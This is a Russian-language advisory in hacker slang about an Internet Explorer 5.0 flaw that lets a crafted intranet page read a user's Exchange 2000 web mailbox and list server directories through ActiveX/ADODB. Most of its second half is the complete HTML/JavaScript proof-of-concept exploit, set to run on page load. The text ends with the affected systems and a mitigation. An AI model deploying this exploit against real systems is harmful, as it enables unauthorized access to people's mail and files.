И так буквально на днях, был
обнаружен новый баг в M$ Ослике 5.0(ака IE 5.0).
Сущность его в том что, просматривая
произвольную страничку - твой любимый
браузер может выдать листинг директорий
под IE 5.0, к которым имеет доступ текущий
пользователь. При определённых
обстоятельствах, возможно читать почту
пользователя, хранящуюся в M$ Exchange 2000
сервере с базой данных, основанной на вэб(используется
IIS 5.0). Также возможно создавать (или изменять)
файлы на M$ Exchange 2000 сервере с базой данных,
основанной на вэб. Самая бяка здесь в том, что этот баг даёт доступ не
только к северу, на котором просматривается
страница, но и ко всему локальному
интранету, так как браузер автоматически
верифицирует его без ведома пользователя.
Для примера: Создаём хтмл файл -
example.html и кладем его где-нибудь в локальном интранете. В
нём должны быть две переменных, которые должны быть изменены - 31337SERVER и GATES.
Если msdaipp.html просматривается IE 5.0 юзером GATES
(в
NT DOMAN) и 31337SERVER это ISS 5.0 с EXCHANGE 2000, в котором база
данных основана на вэб (прим: имя 31337SERVER должно быть именем,
которое находится в локальном интранете юзера
GATES), то
атакующий может получить доступ к
мэйлбоксу юзера GATES и переслать его
содержимое на некоторый сервер, при условии,
что "newfile.html" будет создан в
мэйлбоксе юзера GATES. Для успеха атаки нападающий
должен знать имена 31337SERVER и GATES (и заменить их в example.html). Но если
нападающий находится внутри NT DOMAIN'а и знает оба имени, то он
может получить доступ к EXCHANGE 2000 ящика других
пользователей. Если на 31337SERVER установлен просто
IIS 5.0 (без EXCHANGE2k),
то доступ к листингу каталогов может быть получен
следующим образом: меняем в example.html - "Data
Source=http://31337SERVER/".
А вот и исходник нашего примера
example.html:
<HTML>
<SCRIPT>
function f()
{
conn=new ActiveXObject("ADODB.Connection");
conn.ConnectionString='Provider=MSDAIPP.DSO.1;Data
Source=http://31337SEVER/exchange/GATES/inbox';
//поменять 31337SERVER и GATES на нужные
имена
rec=new ActiveXObject("ADODB.Record");
conn.Open();
rs=new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * from SCOPE()",conn);
win=window.open("about:blank");
win.document.open();
// Показывает все мессаги в inbox'е
юезера
while (!rs.EOF)
{
for(i=0;i<rs.Fields.Count;i++)
{
win.document.writeln(rs.Fields(i).Name+"="+rs.Fields(i).Value+"<BR>");
}
rs.MoveNext();
}
rec.Open ("newfile.html",conn,3,0); //create file
newfile.html
win.document.close();
}
setTimeout("f()",1000);
</SCRIPT>
</HTML>
Уязвимые системы: Win2k с IIS 5.0 и
EXCHANGE 2000 сервером
Решение: ОТКЛЮЧИТЬ ActiveX
скриптование, не использовать IE 5.0 для
браузигна в интранете.